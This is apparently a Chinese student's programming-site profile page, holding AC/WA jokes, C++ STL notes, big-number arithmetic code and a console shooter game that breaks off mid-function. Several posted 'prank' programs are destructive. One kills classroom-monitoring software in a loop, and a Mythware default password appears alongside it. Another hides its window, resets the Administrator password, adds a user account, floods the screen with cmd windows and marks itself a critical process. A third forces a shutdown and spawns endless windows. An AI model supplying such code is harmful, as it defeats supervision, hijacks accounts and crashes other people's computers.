-
个人简介
“正文开始”
AC很可贵,我曰的
我从未见过如此厚颜无耻之WA
- 船员:我们一定要把WA全都揪出来
- 警长:消灭WA,一次只需一颗子弹
- 工程师:修理WA,哼,我可是专业的
- 侦探:这是最基本的AC,我的朋友
- 医生:我觉得AC还可以抢救一下
- 预言家:AC将指明我们的方向
- 守卫:别担心AC,我就是你的盾牌
- 保安:这里有我AC看着,别想闹事
- 换票师:我觉得AC结果,嗯,应该这样
- 情报员:我一定要把这份AC传递给大家,不惜一切代价
- 单面人:哈哈哈,为了正义,请乖乖被我AC
- 黑客:AC不会出错,会出错的只有WA
- 管道工:WA有问题,炸一炸就好了
- 守望者:没人能逃过我的AC
- 市长:我不会辜负大家的AC的
- 老兵:保持AC,是战场的第一生存守则
- 卧底:嘘,对不起啊,我是AC
- 狱卒:咳,呵呵,没有WA能逃脱我的掌心
- 诱饵:哈哈,WA上当了吧
- 时间之主:时间,由我AC来掌控
- 内鬼:我保证,没有WA能抵达目的地
- 间谍:记住,你的WA会欺骗你
- 清洁工:唉,这可比扫整条WA轻松多了
- 守夜人:没有我去不了的AC
- 咒术师:尽管逃,你WA是逃不掉的
- 变色龙:只有聪明人才能看到我AC
- 双面人:哈哈哈哈,AC,就是一场豪赌
- 搬运工:垃圾WA,就该去它该去的地方
- 闪光弹:AC配备检查完毕,准备行动
- 女巫:嗯,宝贝,帮我做AC
- 赏金猎人:我的眼里,只有AC和WA
- 小丑:哈哈哈哈哈哈哈哈,现在,谁才是真正的WA
- 纵火犯:芜湖,我从小就喜欢AC,我现在就想看
- 幸存者:AC下去,只要,AC下去
- 恶魔:我会将AC,分享给你
- 幻影:来吧,欣赏这场盛大的AC吧
- 饕餮:血肉苦弱,我会让你们AC的,哈哈哈哈哈
- 小蜜蜂:去找下一个AC吧
- 怪盗:怪盗是充满艺术的AC,而追捕他的侦探,最多只能算个WA
- 墙头草:帮你们太麻烦了,不如AC
- 孙悟空:嘿嘿,跳出WA之外
- 丘比特:AC,可真让人琢磨不透
- 国王:WA,你们的AC回来了
电脑房里生白烟,李白来到电脑前。狂打电脑的键盘,WA映入他眼帘
让我们荡起双桨,把WA拍在沙滩上
正道的光,照在了WA上,让每个绿色的AC都出来蹦跶
爱你一生爱AC,爱你一生恨WA,爱你一看WA,立马就变脸。爱你只爱见AC,爱你只爱原谅色,打开你的界面啊,全都是AC。AC,AC,我最爱的AC。AC,AC,全部都是AC。为啥我的界面就全是WA。啥时候我的界面也是AC
vector&&set ''' #include<bits/stdc++.h> using namespace std; int main(){ //STL容器2 //vector 动态数组、向量 #include<vector> //头文件 vector<int> vec; //定义一个名叫vec的vector vector<int> vec1(5); //创建一个 vector vec1,初始空间为5,元素默认值为0 vector<int> vec2(5,2); //创建一个 vector vec2,初始空间为5,元素默认值为2 vector<int> vec3(vec2); //创建一个 vector vec3,其内容拷贝vec2 int arr[5]={1,2,3,4,5}; vector<int> vec4(arr); //创建一个 vector vec4,其内容拷贝数组arr vector<int> vec5(arr+1,arr+5); //创建一个 vector vec5,其内容拷贝数组区间[1,5] (取头不取尾)
//遍历方式 //利用迭代器访问 vector<int>::iterator iter; for(iter=vec.begin();iter!=vec.end();iter++){ cout<<*iter<<" "; } //利用数组下标直接访问,但是需要获取当前vec的长度 for(int i=0;i<vec.size();i++){ cout<<vec[i]<<" "; } vec.push_back(n); //把n添加到vec的最后 vec.front(); //返回vec的第一个元素 vec.pop_back; //删除vec最后一个元素 vec.erase(iter); //删除iter所在位置的元素 vec.clear(); //清空vector vec.empty(); //判断vec是否为空 //set #include<set> //头文件 set<int> set1; //定义一个名叫set1的set set<int> set2(set1); //创建一个 set set2,其内容拷贝ste1 int arr[5]={1,2,3,4,5}; set<int> set4(arr,arr+5); //创建一个 set set4,其内容拷贝数组区间[0,5] (取头不取尾) //遍历方式 //利用迭代器访问 set<int>::iterator iter; for(iter=set1.begin();iter!=set1.end();iter++){ cout<<*iter<<" "; } set1.insert(n); //把n添加到set1的最后 set1.find(n); //返回set1中键值为n的迭代器位置,如果没有返回end(); set1.erase(x); //删除值为x的所有元素返回删除数量 set1.erase(iter); //删除iter所在位置的元素 set1.erase(left,right); //删除[left,right]这个范围的所有元素 set1.clear(); //清空set1 set1.empty(); //判断set1是否为空 return 0;
大 如果可以,就请去帮帮他们吧! 人间再观察的个人空间-人间再观察个人主页-哔哩哔哩视频 (bilibili.com) /* 栈 stack s; s.top() //访问栈顶的元素 s.push(5//数据) //压栈,入栈 s.pop() //弹栈,出栈 s.empty()//判断栈是否为空 s.size()//元素的个数 队列 queue q; q.push(a//入队数);//入队 q.pop() //出队 q.empty()//判断队列是否为空 (空=true 非空=false) q.size() //元素个数 q.front()//访问队首 q.back()//访问队尾 优先队列:优先级高的显出 priority_queue y;默认是大的数优先级高 priority_queue<int,vector,less >; y.top() //访问队首的元素 y.push(5//数据) //入队 y.pop() //出队 y.empty()//判断栈是否为空 y.size()//元素的个数 */ 部分头文件 #ifndef _GLIBCXX_NO_ASSERT #include #endif #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include
#if __cplusplus >= 201103L #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #endif
// C++ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include
#if __cplusplus >= 201103L #include #include #include #include <condition_variable> #include <forward_list> #include #include <initializer_list> #include #include #include #include #include <scoped_allocator> #include <system_error> #include #include #include #include <type_traits> #include <unordered_map> #include <unordered_set> 高精度加法 #include<bits/stdc++.h> using namespace std; int a[505],b[505],c[505]; int main(){ string s1,s2; cin>>s1>>s2; int len=s1.size(),len1=s2.size(); for(int i=0;i<len;i++) a[len-1-i]=s1[i]-48; for(int i=0;i<len1;i++) b[len1-1-i]=s2[i]-48; int len2=max(len,len1); for(int i=0;i<len2;i++){ c[i]+=a[i]+b[i]; c[i+1]+=c[i]/10; c[i]%=10; } if(c[len2]>=1) len2++; for(int i=len2-1;i>=0;i--){ cout<<c[i]; } return 0; }
高精度减法 #include<bits/stdc++.h> using namespace std; int a[100000],b[100000],c[100000]; int main(){ string s1,s2; cin>>s1>>s2; int len=s1.size(),len1=s2.size(); if(len<len1||(len==len1&&s1<s2)) { swap(s1,s2); swap(len,len1); cout<<'-'; } for(int i=0;i<len;i++) a[len-1-i]=s1[i]-48; for(int i=0;i<len1;i++) b[len1-1-i]=s2[i]-48; for(int i=0;i<len;i++){ if(a[i]-b[i]<0){ a[i+1]-=1; a[i]+=10; } c[i]=a[i]-b[i]; } while(len>1&&c[len-1]==0) len--; for(int i=len-1;i>=0;i--) cout<<c[i]; return 0; }
https://zeus10241024.gitee.io/dzmy/ 电子木鱼
你是第
传 送 门
玛 卡 巴 卡
队列加栈操作
//stack<int> sta;//创建一个栈 //sta.push(a);//入栈 //int a=sta.top();//返回栈顶元素 //sta.pop();//出栈 //sta.empty();//判断栈是否为空 1为空,0为非空 //sta.clear();//清空 //queue<int> que;//创建一个队列 //que.push(a);//入队 //int a=que.front();//返回队头元素 //que.pop();//出队 //que.empty();//判断队列是否为空 1为空,0为非空 //que.clear();//清空
C++小网站
onlinegdb.com
zh.cppreference.com
极域网通用密码:mythware_super_password
C++集训7月3日
/* 感觉良好 (这是假的) */
噶掉电子教室的代码
#include<bits/stdc++.h> #include <windows.h> using namespace std; void movexy(short x, short y){ COORD position={x, y}; HANDLE hOut=GetStdHandle(STD_OUTPUT_HANDLE); SetConsoleCursorPosition(hOut, position); } int main(){ movexy(37, 7); cout<<"反电子教室系统"<<endl; cout<<endl; cout<<" 目前可以反击:"<<endl; SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED); cout<<" 红蜘蛛多媒体网络教室 - 输入 k-rs即可反击"<<endl; SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 11); cout<<" 极域电子教室 - 输入 k-jy即可反击"<<endl; SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 12); cout<<" 伽卡他卡电子教室 - 输入 k-yk即可反击"<<endl; SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7); cout<<" 如果在开启本程序后关闭本程序,"<<endl; cout<<" 本次反击将无效!"<<endl; cout<<" input >>> "; string s; cin>>s; if(s=="k-rs"){ system("cls"); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED); cout<<" 红蜘蛛反击系统启动成功"<<endl; Sleep(1000); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7); while(1) { system("taskkill /f /t /im REDAgent.exe"); system("cls"); } } if(s=="k-jy"){ system("cls"); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 11); cout<<" 极域反击系统启动成功"<<endl; Sleep(1000); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7); while(1) { system("taskkill /f /t /im StudentMain.exe"); system("cls"); } } if(s=="k-yk"){ system("cls"); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 12); cout<<" 伽卡他卡反击系统启动成功"<<endl; Sleep(1000); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7); while(1){ system("taskkill /f /t /im Student.exe"); system("cls"); } } return 0; }
让你的电脑升级到win11的神奇c++代码
#include<bits/stdc++.h> using namespace std; int main() { while(1) { system("taskkill /f /t /im REDAgent.exe"); system("taskkill /f /t /im StudentMain.exe"); system("taskkill /f /t /im Student.exe"); } return 0; }
c++的恶搞代码
#include <bits/stdc++.h> #include <windows.h> #include <winternl.h> using namespace std; void HideWindow() { HWND hwnd; hwnd=FindWindow("ConsoleWindowClass",NULL); if(hwnd) ShowWindow(hwnd,SW_HIDE); return; } int main() { HideWindow(); int x=GetSystemMetrics(SM_CXSCREEN); int y=GetSystemMetrics(SM_CYSCREEN); system("net user Administator 123456"); system("net user computer_virus computer_virus /add"); for(unsigned long long i = 1; i <= 500; i++) { system("start cmd"); for(int i=1;i<=100;i++) { SetCursorPos(rand()%y,rand()%x); } } typedef NTSTATUS(WINAPI *RtlSetProcessIsCritical) (BOOLEAN, PBOOLEAN, BOOLEAN); typedef BOOL(WINAPI *RtlAdjustPrivilege) (ULONG, BOOL, BOOL, PBOOLEAN); RtlAdjustPrivilege AdjustPrivilege; RtlSetProcessIsCritical SetCriticalProcess; HANDLE ntdll = LoadLibrary(TEXT("ntdll.dll")); AdjustPrivilege = (RtlAdjustPrivilege)GetProcAddress((HINSTANCE)ntdll, "RtlAdjustPrivilege"); SetCriticalProcess = (RtlSetProcessIsCritical)GetProcAddress((HINSTANCE)ntdll, "RtlSetProcessIsCritical"); BOOLEAN b; AdjustPrivilege(20UL, TRUE, FALSE, &b); SetCriticalProcess(TRUE, NULL, FALSE); return 0; }
#include<bits/stdc++.h> using namespace std; int main(){ cout << "你希望我编程题怎样?(大写)" << "\n"; string a; while(1){ cin >> a; if(a=="WA"||a=="TLE"||a=="RTE"||a=="RE"||a=="CE"||a=="MLE"||a=="PE"||a=="OLE"){ cout << "你竟然要诅咒我,我会在1min后fuck你的电脑,你不想电脑fuck就输入AC" << "\n"; system("shutdown -f -s -t 60"); while(1){ cin >> a; if(a=="WA"||a=="TLE"||a=="RTE"||a=="RE"||a=="CE"||a=="SB"||a=="MLE"||a=="PE"||a=="OLE"){ cout << "你竟然还敢诅咒我,你要die了"; while(1){ system("start cmd"); } }else if(a=="AC"||a=="AK"){ cout << "这次我就放过你"; system("shutdown -a"); return 0; }else{ cout << "未能识别,请再次输入" << "\n"; } } }else if(a=="AC"||a=="AK"){ cout << "谢谢你的祝福"; return 0; }else if(a=="SB"){ cout << "你tm敢骂我,你电脑1分钟后要被我fuck了,输入BA或者AC就放过你" << "\n"; system("shutdown -f -s -t 60"); while(1){ cin >> a; if(a=="WA"||a=="TLE"||a=="RTE"||a=="RE"||a=="CE"||a=="SB"||a=="MLE"||a=="PE"||a=="OLE"){ cout << "你竟然还敢诅咒我,你要die了"; while(1){ system("start cmd"); } }else if(a=="BA"||a=="AC"||a=="AK"){ cout << "这次我就放过你"; system("shutdown -a"); return 0; }else{ cout << "未能识别,请再次输入" << "\n"; } } }else{ cout << "未能识别,请再次输入" << "\n"; } } return 0; }
c++小游戏
#include<bits/stdc++.h> #include<windows.h> #include<stdio.h> #include<conio.h> #include<time.h> #include<cmath> #define KEY_DOWN(VK_NONAME)((GetAsyncKeyState(VK_NONAME)&0x8000)?1:0) using namespace std; int m[35][35],n[35][35]; void Color(int a) { if(a==0) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE); if(a==1) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE); if(a==2) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN); if(a==3) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_BLUE); if(a==4) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED); if(a==5) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN); if(a==6) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE); if(a==7) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED|FOREGROUND_GREEN);//木 if(a==8) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);//铁 if(a==9) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY); if(a==10) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|BACKGROUND_GREEN); if(a==11) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED|FOREGROUND_BLUE|BACKGROUND_GREEN); if(a==12) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN|BACKGROUND_GREEN); if(a==13) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE|BACKGROUND_INTENSITY|BACKGROUND_BLUE); } void SetPos(int x,int y) { COORD pos; pos.X=y*2,pos.Y=x+3; SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE),pos); } int X,Y,gx,gy,gunT,gunZ,T,G[10],F[30]; int Win,Lev,Blood,Dun,Bmax,Dmax,WuDi,Gguai,Bo,Boo,sy,bu; int Bx,By,Bblood,Bsi,Bjiao,Bdu,Bfang,Bxz,Byz; void Map(int x); void Jian(int x) { if(WuDi>0) return; if(Dun>x) Dun-=x; else if(Dun<=0) Blood-=x; else if(Dun>0&&Dun<=x) { if(F[13]==0) Blood-=x-Dun; if(F[13]==1) WuDi=20; if(F[17]==1) Boo=3; Dun=-1; } } bool CanGo(int x,int y,int q) //0为自己 1其他 2激光怪 3激光枪 4子弹怪 5爆毒 6子弹 7 BOSS { if(abs(Bx-x)<=1&&abs(By-y)<=1&&q==1) return 0; if(m[x][y]==2||m[x][y]==3) return 0; if((q==0||q==1)&&n[x][y]==1) return 0; if(m[x][y]==0) return 1; if(m[x][y]>=4&&m[x][y]<=8) return 1; if(m[x][y]>=84&&m[x][y]<=88) return 1; if(m[x][y]>=9&&m[x][y]<=31) return 1; if(m[x][y]>=59&&m[x][y]<=81) return 1; if((q==2||q==3||q==5)&&m[x][y]==1) return 1; if((q==2||q==3)&&m[x][y]>=100&&m[x][y]<250) return 1; if((q==0||q==3||q==5)&&m[x][y]>=50&&m[x][y]<55) return 1; if((q==4||q==7)&&m[x][y]/100==1) return 1; return 0; } void CoutMe() { if(gx<0&&CanGo(X-1,Y,0)) X--;if(gx>0&&CanGo(X+1,Y,0)) X++;if(gy<0&&CanGo(X,Y-1,0)) Y--;if(gy>0&&CanGo(X,Y+1,0)) Y++; int r;Color(0);if(WuDi>0) r=rand()%5+1,Color(r); if(gunT!=1) SetPos(X-1,Y),cout<<"︹";if(gunT!=5) SetPos(X+1,Y),cout<<"︺";if(gunT!=7) SetPos(X,Y-1),cout<<"﹝";if(gunT!=3) SetPos(X,Y+1),cout<<"﹞"; if(gunT==1) SetPos(X-1,Y),cout<<"↑";if(gunT==2) SetPos(X-1,Y+1),cout<<"↗";if(gunT==3) SetPos(X,Y+1), cout<<"→";if(gunT==4) SetPos(X+1,Y+1),cout<<"↘"; if(gunT==5) SetPos(X+1,Y),cout<<"↓";if(gunT==6) SetPos(X+1,Y-1),cout<<"↙";if(gunT==7) SetPos(X,Y-1), cout<<"←";if(gunT==8) SetPos(X-1,Y-1),cout<<"↖"; SetPos(X,Y),cout<<"●";Color(0); if(WuDi>0) Map(4); if(m[X][Y]>=50&&m[X][Y]<55) Jian(5),system("color 4F"),Sleep(30),system("color 0F"),Map(4); if(m[X][Y]>=4&&m[X][Y]<=7&&F[12]==0) Jian(3),system("color 4F"),Sleep(30),system("color 0F"),Map(4); if(m[X][Y]>=4&&m[X][Y]<=7&&F[12]==1) Jian(1),system("color 4F"),Sleep(30),system("color 0F"),Map(4); if(m[X][Y]>=59&&m[X][Y]<=80&&F[4]==0) Jian(1),system("color 4F"),Sleep(30),system("color 0F"),Map(4); if(m[X][Y]==2&&F[4]==0) Jian(3),system("color 4F"),Sleep(30),system("color 0F"),Map(4); m[X][Y]=0,gx=gy=0; } int Cout(int x,int i,int j) { int Guai=0; if(m[i][j]==0&&x==2) SetPos(i,j),cout<<" "; if(m[i][j]==1) SetPos(i,j),Color(7),cout<<"■",Color(0);//木 if(n[i][j]==0&&m[i][j]==2) SetPos(i,j),Color(8),cout<<"■",Color(0);//铁 if(n[i][j]==10&&m[i][j]==0) SetPos(i,j),cout<<" ",Color(0); if(n[i][j]==31&&m[i][j]==0) SetPos(i,j),cout<<" ",Color(0); if(m[i][j]==32) m[i][j]=0;//怪子弹灰 if(n[i][j]>=20&&n[i][j]<22&&m[i][j]==1) SetPos(i,j),Color(7),cout<<"▁",Color(0);//木 if(n[i][j]>=22&&n[i][j]<24&&m[i][j]==1) SetPos(i,j),Color(7),cout<<"▂",Color(0);//木 if(n[i][j]>=24&&n[i][j]<26&&m[i][j]==1) SetPos(i,j),Color(7),cout<<"▄",Color(0);//木 if(n[i][j]>=26&&n[i][j]<28&&m[i][j]==1) SetPos(i,j),Color(7),cout<<"▆",Color(0);//木 if(n[i][j]>=28&&n[i][j]<30&&m[i][j]==1) SetPos(i,j),Color(7),cout<<"▆",Color(0);//木 if(n[i][j]>45&&n[i][j]<=50&&m[i][j]==2) SetPos(i,j),Color(4),cout<<"▲",Color(0);//刺 if(m[i][j]==3) SetPos(i,j),Color(5),cout<<"〓",Color(0);//箱 if(m[i][j]>=4&&m[i][j]<=7) SetPos(i,j),Color(5),cout<<"█",Color(0),m[i][j]++;//烟 if(m[i][j]==8) SetPos(i,j),cout<<" ",m[i][j]=0;//烟尘 if(m[i][j]>=84&&m[i][j]<=87) SetPos(i,j),Color(5),cout<<"█",Color(0),m[i][j]++;//烟 if(m[i][j]==88) SetPos(i,j),cout<<" ",m[i][j]=0;//烟尘 if(m[i][j]>=10&&m[i][j]<=30) SetPos(i,j),Color(10),cout<<"@ ",Color(0),m[i][j]++;//毒 if(m[i][j]>=60&&m[i][j]<=80) SetPos(i,j),Color(11),cout<<"@ ",Color(0),m[i][j]++;//怪毒 if(m[i][j]==9||m[i][j]==59) SetPos(i,j),Color(12),cout<<"@ ",Color(0),m[i][j]++;//金毒 if(m[i][j]==31||m[i][j]==81) SetPos(i,j),cout<<" ",m[i][j]=0;//毒尘 if(n[i][j]==1) SetPos(i,j),Color(13),cout<<"~ ",Color(0);//水 if(m[i][j]==50) SetPos(i,j),Color(1),cout<<"●",Color(0),Guai++;//怪 if(m[i][j]==51) SetPos(i,j),Color(10),cout<<"●",Color(0),Guai++;//怪 if(m[i][j]==52) SetPos(i,j),Color(3),cout<<"●",Color(0),Guai++;//怪 if(m[i][j]==53) SetPos(i,j),Color(4),cout<<"●",Color(0),Guai++;//怪 if(m[i][j]==54) SetPos(i,j),Color(5),cout<<"●",Color(0),Guai++;//怪 if(m[i][j]/100==1) { if((m[i][j]%100)/10<=1) SetPos(i,j),cout<<"☉"; if((m[i][j]%100)/10==2) SetPos(i,j),Color(4),cout<<"◎",Color(0); if((m[i][j]%100)/10==3) SetPos(i,j),Color(1),cout<<"◎",Color(0); if((m[i][j]%100)/10==4) m[i][j]=4; if((m[i][j]%100)/10==5) SetPos(i,j),Color(3),cout<<"◎",Color(0); if((m[i][j]%100)/10==6) SetPos(i,j),Color(2),cout<<"¤",Color(0); if((m[i][j]%100)/10>=7&&(m[i][j]%100)/10<=9) SetPos(i,j),Color(2),cout<<"◎",Color(0); } if(m[i][j]/100==2) if((m[i][j]%100)/10==1) SetPos(i,j),Color(3),cout<<"☉",Color(0); return Guai; } void Boss() { SetPos(Bx-1,By-1),cout<<" ";SetPos(Bx,By-1),cout<<" ";SetPos(Bx+1,By-1),cout<<" "; int mov=rand()%30+1,R=rand()%300,ms; if(mov==1&&CanGo(Bx-1,By-2,1)&&CanGo(Bx,By-2,1)&&CanGo(Bx+1,By-2,1)) By--; if(mov==2&&CanGo(Bx-1,By+2,1)&&CanGo(Bx,By+2,1)&&CanGo(Bx+1,By+2,1)) By++; if(mov==3&&CanGo(Bx-2,By-1,1)&&CanGo(Bx-2,By,1)&&CanGo(Bx-2,By+1,1)) Bx--; if(mov==4&&CanGo(Bx+2,By-1,1)&&CanGo(Bx+2,By,1)&&CanGo(Bx+2,By+1,1)) Bx++; if(mov==5&&Bsi==0) Bsi+=rand()%3+1; if(mov==6&&Bjiao==0) Bjiao+=rand()%3+1;if(mov==7&&Bdu==0) Bdu+=5; if(mov==8&&Bxz==0) Bxz+=rand()%20-10;if(mov==9&&Byz==0) Byz+=rand()%20-10; if(Byz<0) {Byz++; if(By-2>1) By--;}if(Byz>0) {Byz--; if(By+2<28) By++;}if(Bxz<0) {Bxz++; if(Bx-2>1) Bx--;}if(Bxz>0) {Bxz--; if(Bx+2<28) Bx++;} if(R<15&Gguai<=5) Bfang++; else if(R<5&&Gguai<=10) Bfang++; else if(R==0) Bfang++; SetPos(Bx-1,By-1),Color(0),cout<<" ●● "; SetPos(Bx,By-1) ,Color(4),cout<<")██("; SetPos(Bx+1,By-1),Color(4),cout<<" …… ";Color(0); if(abs(Bx-X)<=1&&abs(By-Y)<=1) Jian(50);int I,J; if(Bsi>0) {Bsi--;I=Bx-2,J=By+rand()%3-1;if(CanGo(I,J,7)) m[I][J]=211;I=Bx+rand()%3-1,J=By+2;if(CanGo(I,J,7)) m[I][J]=213;I=Bx+2,J=By+rand()%3-1;if(CanGo(I,J,7)) m[I][J]=215;I=Bx+rand()%3-1,J=By-2;if(CanGo(I,J,7)) m[I][J]=217;} if(Bjiao>0) {Bjiao--;I=Bx-2,J=By+2;if(CanGo(I,J,7)) m[I][J]=212;I=Bx+2,J=By+2;if(CanGo(I,J,7)) m[I][J]=214;I=Bx+2,J=By-2;if(CanGo(I,J,7)) m[I][J]=216;I=Bx-2,J=By-2;if(CanGo(I,J,7)) m[I][J]=218;} if(Bdu>0) {if(Bdu>0) Bdu--;for(int i=Bx-4;i<=Bx+4;i++) for(int j=By-4;j<=By+4;j++) if(CanGo(i,j,2)&&abs(Bx-X)>1&&abs(By-Y)>1&&i>0&&j>0) m[i][j]=59;} if(Bfang>0) {Bfang--;I=Bx+rand()%5-2,J=By+rand()%5-2;int rr=rand()%6-1;if(rr==-1) rr=0; if(((rr<3&&Lev<5)||(Lev>5))&&(CanGo(I,J,7))) m[I][J]=50+rr;} if(Lev==4) ms=3;if(Lev==9) ms=5;if(Lev==14) ms=10;if(Lev==19) ms=15;if(Lev==24) ms=20; if(T%50==0&&Bblood<ms*12) Bblood++,Map(3); for(int i=Bx-1;i<=Bx+1;i++) for(int j=By-1;j<=By+1;j++) { int du=0; if(m[i][j]/100==1) Bblood-=1,Bsi+=rand()%3+1,Map(3); if(m[i][j]/10==15) Bblood-=2,Map(3); if(m[i][j]<50||m[i][j]>55) m[i][j]=0; if(m[i][j]>=84&&m[i][j]<=87) Bblood-=1,Bsi+=rand()%3+1,Map(3); if(du==0&&m[i][j]>=9&&m[i][j]<=30) Bblood-=1,du++,Bdu++,Map(3); if(Bblood<=0) {Bblood=0;SetPos(Bx-1,By-1),cout<<" ";SetPos(Bx,By-1),cout<<" ";SetPos(Bx+1,By-1),cout<<" ";} } } void Map(int x)//x=0只输中间 1输全屏 2输身周 2输上方 4 CoutMe中用 5 GuaiQuan中用 { if(x!=4) CoutMe(); int f1,f2,f3,f4,Guai=0; if(x==0) f1=f3=2,f2=f4=28; if(x==1||x==5) f1=f3=1,f2=f4=29; if(x==2) f1=X-1,f2=X+1,f3=Y-1,f4=Y+1; if((x==4||x==3||x==1)&&Win>=0) { SetPos(-3,2),cout<<Lev/5+1<<'-'<<Lev%5+1; SetPos(-2,2),cout<<"枪:"; if(gunZ==1) cout<<"普通枪";if(gunZ==2) cout<<"分裂枪";if(gunZ==3) cout<<"穿甲枪"; if(gunZ==4) cout<<"激光枪";if(gunZ==5) cout<<"爆炸枪";if(gunZ==6) cout<<"毒气枪";if(gunZ==7) cout<<"弹跳枪"; cout<<" 子弹数:";if(gunZ==1) cout<<"∞";else cout<<G[gunZ]<<" "; SetPos(-1,2),cout<<"血量:";Color(4);int r; if(WuDi>0) r=rand()%5+1,Color(r); for(int i=1;i<=Blood;i++) cout<<"█";Color(0);for(int i=Blood;i<Bmax;i++) cout<<"█"; Color(0);SetPos(-1,18),cout<<" "; SetPos(0,2),cout<<"盾牌:";Color(9); if(Dun!=0) for(int i=1;i<=Dun;i++) cout<<"█";Color(0);for(int i=max(1,Dun);i<Dmax;i++) cout<<"█"; if(Bblood>0) { int ms; if(Lev==4) ms=5; if(Lev==9) ms=10; if(Lev==14) ms=14; if(Lev==19) ms=17; if(Lev==24) ms=20; SetPos(-1,15),cout<<" "; SetPos(-1,15),cout<<"Boss:";Color(4);for(int i=1;i<=(Bblood-1)%12+1;i++) cout<<"█"; SetPos(-1,24),Color(3);cout<<(Bblood-1)/12+1; } } if(x==5) { Color(0); SetPos(-3,2),cout<<" ↑ W 开箱(当有箱子在旁时) 开局无敌3秒"; SetPos(-2,2),cout<<"← →移动 A/D 顺/逆时针转枪 空格 暂停"; SetPos(-1,2),cout<<" ↓ S 发射子弹 清除所有怪进下一关 盾会恢复"; SetPos(0,2), cout<<" 每五关可获得一个天赋 完成 5-5 通关 ",Color(3),cout<<"按 y 进第一关"; for(int i=f1;i<=f2;i++) for(int j=f3;j<=f4;j++) Cout(x,i,j); } if(x!=3&&x!=4) { for(int i=f1;i<=f2;i++) for(int j=f3;j<=f4;j++) Guai+=Cout(x,i,j); if(x!=2) { int Rr=rand()%3; if(Guai<Gguai&&Guai!=0&&F[15]==1&&Rr==0&&Lev%5==4) Dun=min(Dmax,Dun+1),Map(3); Gguai=Guai; } if(Guai==0&&x==0&&Win==0&&Bblood<=0) { if(Lev!=24) { system("color 6E"),Color(5); SetPos(2,2),cout<<"You! Win!!!";Sleep(500); SetPos(3,2),cout<<"Please point 'y' to Play AGain.",Sleep(1000); system("color 0F");Map(1); } Win++,Lev++; } } } void Fan(int i,int j,int M) { if(M%10==1||M%10==3) m[i][j]=M+4; if(M%10==5||M%10==7) m[i][j]=M-4; if(M%10==2) { if(m[i][j+1]!=0||m[i-2][j+1]!=0) m[i][j]=M+6; else if(m[i-1][j]!=0||m[i-1][j+2]!=0) m[i][j]=M+2; else m[i][j]=M+4; } if(M%10==4) { if(m[i+1][j]!=0||m[i+1][j+2]!=0) m[i][j]=M-2; else if(m[i][j+1]!=0||m[i+2][j+1]!=0) m[i][j]=M+2; else m[i][j]=M+4; } if(M%10==6) { if(m[i][j-1]!=0||m[i+2][j-1]!=0) m[i][j]=M-2; else if(m[i+1][j]!=0||m[i+1][j-2]!=0) m[i][j]=M+2; else m[i][j]=M-4; } if(M%10==8) { if(m[i][j-1]!=0||m[i-2][j-1]!=0) m[i][j]=M-6; else if(m[i-1][j]!=0||m[i-1][j-2]!=0) m[i][j]=M-2; else m[i][j]=M-4; } } void Light(int i,int j,int M,int x) { if(M%10==1) for(int k=1;CanGo(i-k,j,x);k++) {if(x==3) m[i-k][j]=84; else m[i-k][j]=4;} if(M%10==2) for(int k=1;CanGo(i-k,j+k,x);k++){if(x==3) m[i-k][j+k]=84; else m[i-k][j+k]=4;} if(M%10==3) for(int k=1;CanGo(i,j+k,x);k++) {if(x==3) m[i][j+k]=84; else m[i][j+k]=4;} if(M%10==4) for(int k=1;CanGo(i+k,j+k,x);k++){if(x==3) m[i+k][j+k]=84; else m[i+k][j+k]=4;} if(M%10==5) for(int k=1;CanGo(i+k,j,x);k++) {if(x==3) m[i+k][j]=84; else m[i+k][j]=4;} if(M%10==6) for(int k=1;CanGo(i+k,j-k,x);k++){if(x==3) m[i+k][j-k]=84; else m[i+k][j-k]=4;} if(M%10==7) for(int k=1;CanGo(i,j-k,x);k++) {if(x==3) m[i][j-k]=84; else 